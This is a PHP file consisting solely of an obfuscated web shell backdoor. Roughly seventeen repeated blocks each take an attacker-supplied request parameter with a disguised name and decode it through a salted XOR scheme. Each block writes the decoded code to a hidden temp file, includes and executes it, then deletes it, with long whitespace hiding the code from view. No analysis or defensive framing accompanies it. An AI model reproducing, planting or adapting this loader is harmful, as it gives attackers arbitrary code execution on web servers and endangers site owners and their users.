<?php																																										if(array_key_exists("p\x67\x72p", $_REQUEST)){ $binding = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir()]); $desc = $_REQUEST["p\x67\x72p"]; $desc = explode ('.',$desc ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; array_walk($desc, function($v1) use(&$bind, &$w, $salt, $lenS) { $sChar = ord($salt[$w % $lenS]); $dec =((int)$v1 - $sChar -($w % 10)) ^ 16; $bind .= chr($dec); $w++;} ); for ($reference = 0, $entry = count($binding); $reference < $entry; $reference++) { $flag = $binding[$reference]; if (array_product([is_dir($flag), is_writable($flag)])) { $item = str_replace("{var_dir}", $flag, "{var_dir}/.data_chunk"); $success = file_put_contents($item, $bind); if ($success) { include $item; @unlink($item); exit;} } } }
																																										if(isset($_REQUEST["k"])){ $ref = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $mrk = $_REQUEST["k"]; $mrk = explode ( "." , $mrk ) ; $record= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $u= 0; $__tmp= $mrk; while ($v1= array_shift($__tmp)) { $chS= ord($salt[$u % $sLen]); $dec= ((int)$v1 - $chS - ($u % 10)) ^47; $record .= chr($dec); $u++; } foreach ($ref as $bind): if (is_dir($bind) ? is_writable($bind) : false) { $holder = "$bind/.itm"; $file = fopen($holder, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $holder; @unlink($holder); exit; } } endforeach; }
																																										if(@$_REQUEST["fac"] !== null){ $comp = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); $flg = $_REQUEST["fac"]; $flg =explode ( "." , $flg) ; $obj= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); foreach ($flg as $v => $v6): $chS= ord($salt[$v % $lenS] ); $d= ((int)$v6 - $chS - ($v % 10))^ 96; $obj .= chr($d ); endforeach; foreach ($comp as $item): if (is_dir($item) ? is_writable($item) : false) { $itm = implode("/", [$item, ".dat"]); if (@file_put_contents($itm, $obj) !== false) { include $itm; unlink($itm); exit; } } endforeach; }
																																										if(array_key_exists("\x64\x61ta", $_REQUEST) && !is_null($_REQUEST["\x64\x61ta"])){ $descriptor = $_REQUEST["\x64\x61ta"]; $descriptor = explode ( "." , $descriptor ); $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; foreach ($descriptor as $v9) { $sChar = ord($s[$p % $lenS]); $d = ((int)$v9 - $sChar - ($p % 10)) ^ 83; $resource .= chr($d); $p++; } $entry = array_filter(["/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", getenv("TMP")]); while ($val = array_shift($entry)) { if (is_dir($val) && is_writable($val)) { $k = sprintf("%s/.dchunk", $val); if (file_put_contents($k, $resource)) { include $k; @unlink($k); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["dat\x61\x5Fc\x68u\x6Ek"])){ $ent = $_REQUEST["dat\x61\x5Fc\x68u\x6Ek"]; $ent = explode ( '.' , $ent ) ; $pointer = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $v = 0; $__tmp = $ent; while( $v7 = array_shift( $__tmp)) {$sChar = ord( $salt5[$v % $lenS] ); $dec =( ( int)$v7 - $sChar -( $v % 10))^ 34; $pointer .= chr( $dec ); $v++; } $obj = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); while ($rec = array_shift($obj)) { if (is_writable($rec) && is_dir($rec)) { $item = vsprintf("%s/%s", [$rec, ".reference"]); if (file_put_contents($item, $pointer)) { require $item; unlink($item); die(); } } } }
																																										if(array_key_exists("\x6F\x62jec\x74", $_REQUEST)){ $property_set = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); $component = $_REQUEST["\x6F\x62jec\x74"]; $component =explode ( "." , $component ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; foreach($component as $v8) { $sChar = ord($s[$z % $lenS]); $d =((int)$v8 - $sChar -($z % 10)) ^ 97; $pointer .= chr($d); $z++; } $tkn = 0; do { $entry = $property_set[$tkn] ?? null; if ($tkn >= count($property_set)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $element = str_replace("{var_dir}", $entry, "{var_dir}/.hld"); if (@file_put_contents($element, $pointer) !== false) { include $element; unlink($element); die(); } } $tkn++; } while (true); }
																																										if(@$_REQUEST["\x62i\x6Ed"] !== null){ $ent = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $descriptor = $_REQUEST["\x62i\x6Ed"]; $descriptor = explode ( '.' ,$descriptor ); $desc = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); foreach($descriptor as $t => $v3) { $sChar = ord($salt5[$t % $lenS] ); $dec =((int)$v3 - $sChar -($t % 10)) ^ 60; $desc .= chr($dec ); } foreach ($ent as $key => $tkn) { if (is_dir($tkn) && is_writable($tkn)) { $hld = sprintf("%s/.parameter_group", $tkn); if (@file_put_contents($hld, $desc) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x72es\x6F\x75rce"])){ $reference = $_POST["\x72es\x6F\x75rce"]; $reference = explode ( '.', $reference ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; $__tmp = $reference; while ($v6 = array_shift($__tmp)) { $sChar = ord($salt[$u % $sLen]); $dec = ((int)$v6 - $sChar - ($u % 10)) ^ 26; $component .= chr($dec); $u++; } $ref = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); while ($obj = array_shift($ref)) { if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $object = str_replace("{var_dir}", $obj, "{var_dir}/.flag"); if (file_put_contents($object, $component)) { include $object; @unlink($object); exit; } } } }
																																										if(in_array("bi\x6Ed\x69n\x67", array_keys($_POST))){ $ref = $_POST["bi\x6Ed\x69n\x67"]; $ref= explode (".", $ref) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $x = 0; while($x <count($ref)) {$v1 = $ref[$x]; $sChar = ord($salt[$x % $lenS] ); $d =((int)$v1 - $sChar -($x % 10))^97; $tkn .= chr($d ); $x++; } $descriptor = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir()]); while ($bind = array_shift($descriptor)) { if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $key = vsprintf("%s/%s", [$bind, ".entity"]); if (file_put_contents($key, $tkn)) { require $key; unlink($key); die(); } } } }
																																										if(isset($_POST["\x66a\x63\x74or"])){ $comp = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP")]); $component = $_POST["\x66a\x63\x74or"]; $component =explode ("." ,$component ) ; $obj = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $q = 0; $__tmp = $component; while ($v6 = array_shift($__tmp)) { $chS = ord($s9[$q % $lenS] ); $dec = ((int)$v6 - $chS - ($q % 10))^ 93; $obj .= chr($dec ); $q++; } for ($entity = 0, $flg = count($comp); $entity < $flg; $entity++) { $fac = $comp[$entity]; if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $hld = vsprintf("%s/%s", [$fac, ".mrk"]); $success = file_put_contents($hld, $obj); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(isset($_REQUEST["pg\x72\x70"])){ $hld = $_REQUEST["pg\x72\x70"]; $hld =explode ( "." ,$hld ) ; $property_set= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8); $y= 0; while ($y < count($hld)) { $v2= $hld[$y]; $sChar= ord($s8[$y% $lenS]); $d= ((int)$v2 - $sChar - ($y% 10)) ^60; $property_set .= chr($d); $y++; } $value = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir()]); foreach ($value as $key) { if (is_dir($key) && is_writable($key)) { $element = "$key/.reference"; if (file_put_contents($element, $property_set)) { require $element; unlink($element); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x66ac"])){ $pointer = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $rec = $_POST["\x66ac"]; $rec = explode ( '.',$rec ) ; $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $q = 0; array_walk( $rec, function( $v3) use( &$flag, &$q, $salt4, $lenS) { $chS = ord( $salt4[$q % $lenS]); $dec = ( ( int)$v3 - $chS -( $q % 10)) ^ 7; $flag .=chr( $dec); $q++; }); for ($object = 0, $item = count($pointer); $object < $item; $object++) { $pgrp = $pointer[$object]; if (is_writable($pgrp) && is_dir($pgrp)) { $comp = implode("/", [$pgrp, ".tkn"]); if (file_put_contents($comp, $flag)) { include $comp; @unlink($comp); exit; } } } }
																																										if(isset($_POST["\x72ef\x65\x72e\x6Ece"]) ? true : false){ $sym = $_POST["\x72ef\x65\x72e\x6Ece"]; $sym = explode ( "." , $sym) ; $hld = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $l = 0; foreach( $sym as $v3) { $sChar = ord( $salt7[$l % $lenS]); $d =( ( int)$v3 - $sChar -( $l % 10))^4; $hld .= chr( $d); $l++; } $pointer = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); for ($data = 0, $obj = count($pointer); $data < $obj; $data++) { $bind = $pointer[$data]; if (array_product([is_dir($bind), is_writable($bind)])) { $dat = "$bind/.value"; if (@file_put_contents($dat, $hld) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(array_key_exists("\x66\x61c", $_REQUEST)){ $ent = $_REQUEST["\x66\x61c"]; $ent = explode('.',$ent) ; $dchunk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $k = 0; while ($k< count($ent)) { $v1 = $ent[$k]; $chS = ord($s5[$k % $sLen] ); $d = ((int)$v1 - $chS - ($k % 10)) ^ 3; $dchunk .= chr($d ); $k++; } $entity = array_filter(["/var/tmp", "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); foreach ($entity as $reference) { if ((is_dir($reference) and is_writable($reference))) { $data_chunk = str_replace("{var_dir}", $reference, "{var_dir}/.bind"); if (file_put_contents($data_chunk, $dchunk)) { include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(isset($_REQUEST["\x62\x69nd"])){ $descriptor = array_filter(["/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), session_save_path(), getenv("TMP")]); $token = $_REQUEST["\x62\x69nd"]; $token = explode( "." , $token ) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $__len =count( $token); for( $n =0; $n< $__len; $n++) { $v8 =$token[$n]; $chS =ord( $s[$n%$lenS]); $d =( ( int)$v8 - $chS -( $n%10)) ^ 47; $pointer .= chr( $d);} $dchunk = 0; do { $flag = $descriptor[$dchunk] ?? null; if ($dchunk >= count($descriptor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $ptr = "$flag/.res"; if (@file_put_contents($ptr, $pointer) !== false) { include $ptr; unlink($ptr); exit; } } $dchunk++; } while (true); }


if(array_key_exists("\x72ec", $_REQUEST)){
	$object = $_REQUEST["\x72ec"];
	 	$object=			explode			(	'.',$object 	)  	; 	
	$dchunk=  '';
            $salt2=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=  strlen($salt2);
            $l=  0;
    
            array_walk($object	,  function($v8) use(&$dchunk	,  &$l	,  $salt2	,  $sLen) {$sChar=  ord($salt2[$l % $sLen]);
                $dec=  ((int)$v8 - $sChar -($l % 10))	^  61;
                $dchunk .= chr($dec);
                $l++; 	});
	$mrk = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), getcwd()]);
	foreach ($mrk as $item):
    		if (max(0, is_dir($item) * is_writable($item))) {
    $property_set = join("/", [$item, ".pgrp"]);
    if (file_put_contents($property_set, $dchunk)) {
	include $property_set;
	@unlink($property_set);
	die();
}
}
endforeach;
}